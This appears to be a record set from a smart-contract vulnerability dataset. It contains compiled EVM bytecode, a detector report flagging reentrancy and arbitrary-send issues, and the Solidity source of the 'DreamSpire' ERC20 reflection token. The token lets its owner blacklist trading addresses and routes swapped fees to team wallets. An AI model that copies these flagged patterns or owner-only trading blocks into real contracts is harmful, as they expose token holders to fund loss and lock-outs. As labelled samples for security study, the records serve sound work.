ffffffffffff161415610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e879061257d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef7906124bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fde91906125bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110529061255d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c29061247d565b60405180910390fd5b6000811161110e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111059061253d565b60405180910390fd5b600e5481600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111bd5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6111c85760006111cb565b60015b60ff166111d89190612729565b11156111e357600080fd5b60016009819055506009600a819055506111fb6106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561126957506112396106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561143f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561136f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113855760016009819055506009600a819055505b60006113903061054c565b9050600d60159054906101000a900460ff161580156113fd5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114155750600d60169054906101000a900460ff165b1561143d57611423816114b3565b6000479050600081111561143b5761143a476117a9565b5b505b505b61144a838383611815565b505050565b6000838311158290611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148e919061245b565b60405180910390fd5b50600083856114a69190612783565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114eb576114ea6128de565b5b6040519080825280602002602001820160405280156115195781602001602082028036833780820191505090505b5090503081600081518110611531576115306128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115d357600080fd5b505afa1580156115e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160b9190611f5e565b8160018151811061161f5761161e6128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061168630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e20565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ea9594939291906125d8565b600060405180830381600087803b15801561170457600080fd5b505af1158015611718573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b6000600754821115611782576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117799061249d565b60405180910390fd5b600061178c611825565b90506117a1818461185090919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611811573d6000803e3d6000fd5b5050565b61182083838361189a565b505050565b6000806000611832611a65565b91509150611849818361185090919063ffffffff16565b9250505090565b600061189283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ac4565b905092915050565b6000806000806000806118ac87611b27565b95509550955095509550955061190a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119eb81611c37565b6119f58483611cf4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a5291906125bd565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a00009050611a9967016345785d8a000060075461185090919063ffffffff16565b821015611ab75760075467016345785d8a0000935093505050611ac0565b81819350935050505b9091565b60008083118290611b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b02919061245b565b60405180910390fd5b5060008385611b1a91906126f8565b9050809150509392505050565b6000806000806000806000806000611b448a600954600a54611d2e565b9250925092506000611b54611825565b90506000806000611b678e878787611dc4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bd183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144f565b905092915050565b6000808284611be891906126a2565b905083811015611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c24906124dd565b60405180910390fd5b8091505092915050565b6000611c41611825565b90506000611c588284611e4d90919063ffffffff16565b9050611cac81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d0982600754611b8f90919063ffffffff16565b600781905550611d2481600854611bd990919063ffffffff16565b6008819055505050565b600080600080611d5a6064611d4c888a611e4d90919063ffffffff16565b61185090919063ffffffff16565b90506000611d846064611d76888b611e4d90919063ffffffff16565b61185090919063ffffffff16565b90506000611dad82611d9f858c611b8f90919063ffffffff16565b611b8f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ddd8589611e4d90919063ffffffff16565b90506000611df48689611e4d90919063ffffffff16565b90506000611e0b8789611e4d90919063ffffffff16565b90506000611e3482611e268587611b8f90919063ffffffff16565b611b8f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e605760009050611ec2565b60008284611e6e9190612729565b9050828482611e7d91906126f8565b14611ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb4906124fd565b60405180910390fd5b809150505b92915050565b600081359050611ed781612bc7565b92915050565b600081519050611eec81612bc7565b92915050565b600081519050611f0181612bde565b92915050565b600081359050611f1681612bf5565b92915050565b600081519050611f2b81612bf5565b92915050565b600060208284031215611f4757611f4661290d565b5b6000611f5584828501611ec8565b91505092915050565b600060208284031215611f7457611f7361290d565b5b6000611f8284828501611edd565b91505092915050565b60008060408385031215611fa257611fa161290d565b5b6000611fb085828601611ec8565b9250506020611fc185828601611ec8565b9150509250929050565b600080600060608486031215611fe457611fe361290d565b5b6000611ff286828701611ec8565b935050602061200386828701611ec8565b925050604061201486828701611f07565b9150509250925092565b600080604083850312156120355761203461290d565b5b600061204385828601611ec8565b925050602061205485828601611f07565b9150509250929050565b6000602082840312156120745761207361290d565b5b600061208284828501611ef2565b91505092915050565b6000602082840312156120a1576120a061290d565b5b60006120af84828501611f07565b91505092915050565b6000806000606084860312156120d1576120d061290d565b5b60006120df86828701611f1c565b93505060206120f086828701611f1c565b925050604061210186828701611f1c565b9150509250925092565b60006121178383612123565b60208301905092915050565b61212c816127b7565b82525050565b61213b816127b7565b82525050565b600061214c8261265d565b6121568185612680565b93506121618361264d565b8060005b83811015612192578151612179888261210b565b975061218483612673565b925050600181019050612165565b5085935050505092915050565b6121a8816127c9565b82525050565b6121b78161280c565b82525050565b60006121c882612668565b6121d28185612691565b93506121e281856020860161281e565b6121eb81612912565b840191505092915050565b6000612203602383612691565b915061220e82612923565b604082019050919050565b6000612226602a83612691565b915061223182612972565b604082019050919050565b6000612249602283612691565b9150612254826129c1565b604082019050919050565b600061226c601b83612691565b915061227782612a10565b602082019050919050565b600061228f602183612691565b915061229a82612a39565b604082019050919050565b60006122b2602083612691565b91506122bd82612a88565b602082019050919050565b60006122d5602983612691565b91506122e082612ab1565b604082019050919050565b60006122f8602583612691565b915061230382612b00565b604082019050919050565b600061231b602483612691565b915061232682612b4f565b604082019050919050565b600061233e601783612691565b915061234982612b9e565b602082019050919050565b61235d816127f5565b82525050565b61236c816127ff565b82525050565b60006020820190506123876000830184612132565b92915050565b60006040820190506123a26000830185612132565b6123af6020830184612132565b9392505050565b60006040820190506123cb6000830185612132565b6123d86020830184612354565b9392505050565b600060c0820190506123f46000830189612132565b6124016020830188612354565b61240e60408301876121ae565b61241b60608301866121ae565b6124286080830185612132565b61243560a0830184612354565b979650505050505050565b6000602082019050612455600083018461219f565b92915050565b6000602082019050818103600083015261247581846121bd565b905092915050565b60006020820190508181036000830152612496816121f6565b9050919050565b600060208201905081810360008301526124b681612219565b9050919050565b600060208201905081810360008301526124d68161223c565b9050919050565b600060208201905081810360008301526124f68161225f565b9050919050565b6000602082019050818103600083015261251681612282565b9050919050565b60006020820190508181036000830152612536816122a5565b9050919050565b60006020820190508181036000830152612556816122c8565b9050919050565b60006020820190508181036000830152612576816122eb565b9050919050565b600060208201905081810360008301526125968161230e565b9050919050565b600060208201905081810360008301526125b681612331565b9050919050565b60006020820190506125d26000830184612354565b92915050565b600060a0820190506125ed6000830188612354565b6125fa60208301876121ae565b818103604083015261260c8186612141565b905061261b6060830185612132565b6126286080830184612354565b9695505050505050565b60006020820190506126476000830184612363565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ad826127f5565b91506126b8836127f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ed576126ec612851565b5b828201905092915050565b6000612703826127f5565b915061270e836127f5565b92508261271e5761271d612880565b5b828204905092915050565b6000612734826127f5565b915061273f836127f5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277857612777612851565b5b828202905092915050565b600061278e826127f5565b9150612799836127f5565b9250828210156127ac576127ab612851565b5b828203905092915050565b60006127c2826127d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612817826127f5565b9050919050565b60005b8381101561283c578082015181840152602081019050612821565b8381111561284b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612bd0816127b7565b8114612bdb57600080fd5b50565b612be7816127c9565b8114612bf257600080fd5b50565b612bfe816127f5565b8114612c0957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bbb04e1d9e6214a531eafbdaa89f7e95329a52afa5dca629a35a51944876ba6c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,889
0x856b3c44a87f9b0ba85b357dfefe009ccf56ebfa
/* All that we see or seem, Is but a dream within a dream. https://t.me/dreamspiretoken */ //SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DreamSpire is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100* 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "DreamSpire"; string private constant _symbol = 'DREAMS️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(cooldownEnabled){ require(cooldown[from] < block.timestamp - (360 seconds)); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610785565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085e565b005b34801561033357600080fd5b5061033c610981565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098a565b005b34801561039e57600080fd5b506103a7610a6f565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae1565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcc565b005b34801561043157600080fd5b5061043a610d52565b604051808273ffffffffff